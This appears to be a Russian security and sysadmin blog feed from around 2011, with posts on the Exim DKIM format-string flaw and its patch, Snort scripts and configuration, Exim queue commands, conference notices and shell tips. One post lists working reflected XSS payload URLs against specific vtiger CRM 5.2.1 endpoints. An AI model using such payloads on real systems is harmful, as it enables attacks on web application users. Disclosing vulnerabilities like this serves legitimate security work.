CVE-2011-1764: Уязвимость Exim DKIM Signatures Remote Format String

Пару минут назад я заметил, этот твит Джошуа Дж. Дрейк (ака jduck). Это действительно интересная уязвимость Exim MTA. Так что, как мы можем прочитать в отчете об ошибке, проблема о которой сообщил Джон Р. Левин, как неправильное толкование DKIM подписи. Более пристальный взгляд в src/dkim.c показывает, что это был классическая уязвимость форматной строки.

void dkim_exim_verify_finish(void) {
   pdkim_signature *sig = NULL;
   int dkim_signers_size = 0;
   int dkim_signers_ptr = 0;
   dkim_signers = NULL;
 
   /* Delete eventual previous signature chain */
   dkim_signatures = NULL;
 ...
     /* Log a line for each signature */
     uschar *logmsg = string_append(NULL, &size, &ptr, 5,
 
      string_sprintf( "DKIM: d=%s s=%s c=%s/%s a=%s ",
                      sig->domain,
                      sig->selector,
                      (sig->canon_headers == PDKIM_CANON_SIMPLE)?"simple":"relaxed",
                      (sig->canon_body    == PDKIM_CANON_SIMPLE)?"simple":"relaxed",
                      (sig->algo          == PDKIM_ALGO_RSA_SHA256)?"rsa-sha256":"rsa-sha1"
                    ),
 ...
    logmsg[ptr] = '\0';
    log_write(0, LOG_MAIN, (char *)logmsg);
 ...
  }
}

Как вы можете ясно видеть, буфер (logmsg) передается log_write() получается из (partially) контролируемой пользователем данных. Поскольку не существует спецификатора форматной строки в log_write(), пользователь получает возможность инициировать общюю уязвимость форматной строки с использованием таких указателей. Исправление было совершенно очевидно…

-    log_write(0, LOG_MAIN, (char *)logmsg);
+    log_write(0, LOG_MAIN, "DKIM: %s", logmsg);


Кроме того, поскольку «DKIM:» строка была перенесена в log_write() он был удален из исходного string_sprint(), показанный ранее…
-      string_sprintf( "DKIM: d=%s s=%s c=%s/%s a=%s ",
+      string_sprintf( "d=%s s=%s c=%s/%s a=%s ",


6 мая, 2011 года
перевод гуглом с xorl.wordpress.com/2011/05/06/exim-dkim-signatures-remote-format-string/
Читать дальше

Snort скрипт перезапуска

Скрипт проверки запуска Snort, если незапущен процесс то перезапускаем.

Тут скрипт запуска из /etc/init.d/
vrt-blog.snort.org/2008/09/snort-startup-script-for-ubuntu.html

Добавить запуск в кроне каждую минуту:

# crontab -e
*/1  *  *   *   *   /root/cron/start_snort.sh


#touch /root/cron/start.log
#chmod 0700 /root/cron/start_snort.sh

/root/cron/start_snort.sh

#!/bin/bash


##########################
# Proverka zapuska Snort
##########################


if [ "$(pidof snort | tr " " "\012" | wc -l)" != "0" ]; then

echo "snort use " `date` 
#sleep 1;
else

/usr/bin/pkill snort  2> /dev/null &
sleep 1;
echo "snort start " `date`
#echo "snort start " `date` >> /root/cron/start.log

# start snort
#/usr/local/bin/snort -q -u snort -g snort -c /etc/snort/snort.conf -i eth0 &

fi

###########################################
#          Proverka zapuska   barnyard2   #
###########################################
if [ "$(pidof barnyard2 | tr " " "\012" | wc -l)" != "0" ]; then

echo "barnyard2 start " `date`
#echo "barnyard2 start " `date` >> /root/cron/start.log
#/usr/bin/pkill barnyard2  2> /dev/null &

sleep 1
else

echo "barnyard2 start " `date` >> /root/cron/start.log

##start barnyard2
/usr/local/bin/barnyard2 -q -c /etc/snort/barnyard2.conf -d /var/log/snort -f snort.log -w /etc/snort/bylog.waldo -G /etc/snort/gen-msg.map -S /etc/snort/sid-msg.map -C /etc/snort/classification.config &
fi
Читать дальше

Влияет ли информационная безопасность на компании в России?

Как падали цены на акции Sony после взломов?
Вот тут написано: attrition.org/security/rant/sony_aka_sownage.html как падали цены на акции компании Sony.

Прошу заменить,
что в 2011-04-04 цена была 31.45$,
а 2011-12-19(сегодня) — 16,71$ = чистая случайность грубо говоря в 50%?

Кто-то мне сказал, что на репутацию компаний создающих сайты, такие взломы никак не влияют.
Интересно, а будут ли заказывать крупные компании, интернет магазины и финансовые компании — доверять держать персональные данные клиентов на сервере, где не уделяется внимание информационной безопасности и разработке ПО. Конечно сайты визитки клепать и верстку менять — не считается.

Стоит ли доверять разработку продукта — компании которая засветилась в небрежном отношении к прошлым своим продуктам?
Читать дальше

Очистить очередь сообщений Exim

exipick — exipick — показывает сообщения в очереди экзима
exipick -z — показывает замороженные сообщения
exipick -i — показывает ID сообщений

exim -Mrm ID — удаляет из очереди сообщение с айдишником ID

В итоге получаем:
exipick -zi | xargs exim -Mrm //очистит все замороженные сообщения из очереди

exipick -i | xargs exim -Mrm //очистит все сообщения из очереди

или удалить все из папки /var/spool/exim/input
P.S.
Это самый корретный способо очистки очереди самим экзимом.
директории сносить в /var/spool/exim/input — это жестко…
Читать дальше

Конкурс по расследованию IT-инцидентов

Конкурс по расследованию IT-инцидентов

Конкурс по расследованию IT-инцидентов

Совместно с Group-IB мы проводим конкурс по компьютерной криминалистике. Победитель получит возможность работать в Лаборатории Group-IB и заниматься интересной работой по расследованию IT-инцидентов в отличной компании.

На экспертизу поступили два образа носителей информации и только вам под силу пролить свет на произошедшие инциденты. Ответьте на поставленные вопросы и укажите иные сведения, которые помогут в расследовании инцидентов информационной безопасности.
Читать дальше

PHD 2012 Positive Hack Days - международный форум, посвященный практическим вопросам информационной безопасности.

Positive Hack Days 2012Теперь хочу сюда

Сегодня как никогда остро назрела необходимость конструктивного диалога между всеми представителями сферы информационной безопасности. Поэтому мы разработали мероприятие принципиально нового формата — Positive Hack Days.

Positive Hack Days — уникальное мероприятие для не только в России, но и в мире. Только здесь элита хакерского мира, лидеры индустрии безопасности и Интернет-сообщество встречаются лицом к лицу, чтобы вместе найти ответы на самые актуальные вопросы ИТ-рынка.

Positive Hack Days — это теория, тесно переплетенная с практикой, профессиональная дискуссия в сочетании с захватывающими соревнованиями и конкурсами, максимум практики и минимум формальностей.

Читать дальше

Почти побывал на ZeroNights

ZeroNights — международная конференция, посвященная техническим аспектам информационной безопасности. На конференции выступят известные эксперты отрасли из России, США, Индии, Сингапура и других стран. Главная цель конференции — распространение информации о новых методах атак, угроз и защиты от них, а кроме того — создание площадки для общения специалистов-практиков по ИБ.

Эта конференция для технических специалистов, администраторов, руководителей и сотрудников службы ИБ, пентестеров, программистов, и всех тех, кто интересуется техническими проблемами отрасли.

Поблагодарили меня за это habrahabr.ru/company/yandex/blog/131199/

Жаль что живу от Питера и Москвы далеко. Так бы ездил на конференции.
Спасибо замечательной девушке-хакеру Проксима, за предоставленные фотки

Кликабельно
Бабичев Игорь HiMiC ZeroNights
Читать дальше

Debian snont настройка

Официальная документация по настройке www.snort.org/assets/167/deb_snort_howto.pdf

Change these lines:
Line #39 — ipvar HOME_NET 192.168.1.0/24 – make this match your internal (friendly) network
Line #42 — ipvar EXTERNAL_NET !$HOME_NET
Line #80 — var RULE_PATH ./rules – this assumes /etc/snort/rules
Line #186-#190 comment out all of the preprocessor normalize_ lines
Line #366 — add this: output unified2: filename snort.log, limit 128
Line #395 — delete or comment out all of the “include $RULE_PATH” lines except “local.rules”

для новой версии snort-2.9.1.tar.gz

Change these lines:
Line #45 — ipvar HOME_NET 192.168.1.0/24 – make this match your internal (friendly) network
Line #48 — ipvar EXTERNAL_NET !$HOME_NET
Line #98 — var RULE_PATH ./rules – this assumes /etc/snort/rules
Line #235-#239 comment out all of the preprocessor normalize_ lines
Line #471 — add this: output unified2: filename snort.log, limit 128
Line #503 — delete or comment out all of the “include $RULE_PATH” lines except “local.rules”

./configure --with-mysql --with-libpcre-libraries=/usr/src/snort/libdnet-1.12/src/.libs/ --with-dnet-includes=/usr/src/snort/libdnet-1.12/include/ --enable-build-dynamic-examples --enable-gre --enable-reload --enable-linux-smp-stats --enable-zlib --enable-dynamicplugin --enable-perfprofiling --enable-ipv6
Читать дальше

vtiger CRM 5.2.1 XSS

XSS

/include/SalesPlatform/NetIDNA/example.php/>"><ScRiPt>alert(14227)</ScRiPt>


decoded

/include/SalesPlatform/NetIDNA/example.php?decoded=%22%20onmouseover%3dprompt%28981290%29%20bad%3d%22&encode=Encode%20%3e%3e&idn_version=2003


encoded

/include/SalesPlatform/NetIDNA/example.php?decode=%3c%3c%20Decode&encoded=%22%20onmouseover%3dprompt%28937322%29%20bad%3d%22


lang


/include/SalesPlatform/NetIDNA/example.php?decode=&encode=&idn_version=&lang=%22%20onmouseover%3dprompt%28959182%29%20bad%3d%22


_operation

/modules/Mobile/index.php?_operation=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28922731%29%3c%2fScRiPt%3e


service

/vtigerservice.php?service=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28945713%29%3c%2fScRiPt%3e

Читать дальше

screen - терминал без перерыва.

Необходимо поставить программу на длительное выполнение, но если при этом случайно закрыть терминал, в котором она запущена, то программа завершится, чего допускать не хотелось бы. Соединяюсь с сервером по SSH. Связь иногда прерывается. Как сделать так, чтобы на сервере все продолжало работать как ни в чем не бывало? Ответ: screen
Задача

Необходимо поставить программу на длительное выполнение, но если при этом случайно закрыть терминал, в котором она запущена, то программа завершится, чего допускать не хотелось бы.

Соединяюсь с сервером по SSH. Связь иногда прерывается. Как сделать так, чтобы на сервере все продолжало работать как ни в чем не бывало?
Решение

Запустить сессию screen и работатьв в ней.

Screen, это утилита, которая создает виртуальные консоли и позволяет пользователю по мере необходимости к ним подключаться.

Чтобы стартовать виртуальную консоль, достаточно набрать:

$screen

В рамках одной сессии screen можно создать несколько консолейкомбинацией ctrl-a-c

Переключиться между консолями в рамках одной сессии screen можно комбинациями ctrl-a-p (пред. консоль) ctrl-a-n (след. консоль)

Выход и завершение консоли, как обычно, командой exit.

Если во время работы произошел обрыв связи или терминал был закрыт, то восстановив связь или зайдя заново в терминал, можно посмотреть список имен свободных сессий:

$ screen -ls
There is a screen on:
5345.pts-1.vaio (Detached)
1 Socket in /var/run/screen/S-avl.


и подключиться к нужной сессии:

$screen -r 5345.pts-1.vaio

где 5345.pts-1.vaio это имя сессии, подсмотренное в выводе предыдущей команды (5345.pts-1.vaio (Detached)).

При этом программы, которые были запущены в сессии, вообще ничего не заметят, а пользователь увидит текущее содержимое экрана, как быдто он и не отключался.

Хорошая штука. надо будет в .bashrc прописать.
Читать дальше

Распаковка всех типов фаилов tar tar.bz2 tar.gz tar.xz bz2 rar gz tar tbz2 tgz zip Z 7z xz exe

Чтобы не вводить каждый раз вручную комманды для распаковки архивов можно использовать приведенную ниже функцию. Добавьте следующий код в ~/.bashrc и используйте extract <file_name>:

extract () {
  if [ -f $1 ] ; then
    case $1 in
      *.tar.bz2)   tar xvjf $1    ;;
      *.tar.gz)    tar xvzf $1    ;;
      *.tar.xz)    tar xvJf $1    ;;
      *.bz2)       bunzip2 $1     ;;
      *.rar)       unrar x $1     ;;
      *.gz)        gunzip $1      ;;
      *.tar)       tar xvf $1     ;;
      *.tbz2)      tar xvjf $1    ;;
      *.tgz)       tar xvzf $1    ;;
      *.zip)       unzip $1       ;;
      *.Z)         uncompress $1  ;;
      *.7z)        7z x $1        ;;
      *.xz)        unxz $1        ;;
      *.exe)       cabextract $1  ;;
      *)           echo "\`$1': неизвестный метод сжатия файла" ;;
    esac
  else
    echo "\`$1' нет такого файла"
  fi
}


Функция сама выберет необходимую программу и аргументы для распаковки конкретного архива.
Читать дальше

9.5 правил ведения IT бизнеса в России

На всякий случай напомню 9.5 правил ведения IT бизнеса в России:

1. Держите сервера за границей
2. Регистрируйте домены за границей
3. Регистрируйте компанию за границей
4. Держите деньги за границей и не держите яйца в одной корзине
5. Не держите, говорю, яйца в одной корзине!
6. Держите базы данных за границей
7. Документируйте все, что касается вашего обеспечения
8. Разделяйте активы и риски
9. Еще можно отдаться добровольно
10. Уезжайте за границу

Секрет успеха:

Не хххх в России.
Читать дальше

proxmox convert LVM ro raw

lvm to raw
qemu-img convert -O raw /dev/pve/vm-100-disk-1 /tmp/vm-100-disk-1.raw


dd if=/dev/pve/vm-100-disk-1 of=/tmp/vm-100-disk-1.raw conv=sync bs=64k


dd if=/dev/pve/vm-100-disk-1 | ssh 192.168.1.20 dd of=/dev/pve/vm-100-disk-1 bs=64k

ТЗ на разработку сайта образец

ИН_АТАК: перезагрузка

inattack.ruwww.inattack.ru/

Вот это и случилось — новый движок, новый дизайн и реальная возможность развиваться дальше. Конечно многое еще будет доделыватся/переделываться, но важно то, что начало этому положено!

Мы перезагрузились!

++++++++++++++++
Остается надеяться что раздел «Уязвимости» не будет отставать по времени публикования на англицких сайтах. И будут писаться статьи с чем то из оригинальных уязвимостей.

Теперь остается самое главное: наполнение контентом.
Читать дальше

VDS против Облачный хостинг, VDS vs Host Cloud

Для теста взял VDS-Улёт от FirstVDS.ru и Облачный хостинг от ispserver.com
На самом деле это одна и таже контора, просто теперь она предоставляет и Облачный хостинг.
Читать дальше

Сброс забытого пароля админа Django

Что делать, если Вы забыли админ-пароль от системы администрирования Django? Все очень просто. Даже не придется лезть в базу данных. В шелле (./manage.py shell) делаем:

from django.contrib.auth.models import User
user = User.objects.get( username=«admin» )
user.set_password(«mynewpassword»)
user.save()


Вуаля!

anisimov.org/pub/django-reset-admin-password
Читать дальше

субБОТА == раБОТА

Суббота происходит от слова Работа?

Странно но почему-то я рад когда наступают выходные и можно не отвлекаясь работать все выходные не думая о том что завтра вставать в 9 часов и идти на работу. Надо же быть выспавшимся, а не спать на… )))

Да и ночью информациоонное поле земли становится более открыто и можно получать вдохновение от луны смотря в окно.
Смотришь так и знаешь что весь этот мир — он твой — надо только нажать правильную комбинацию клавиш.
Читать дальше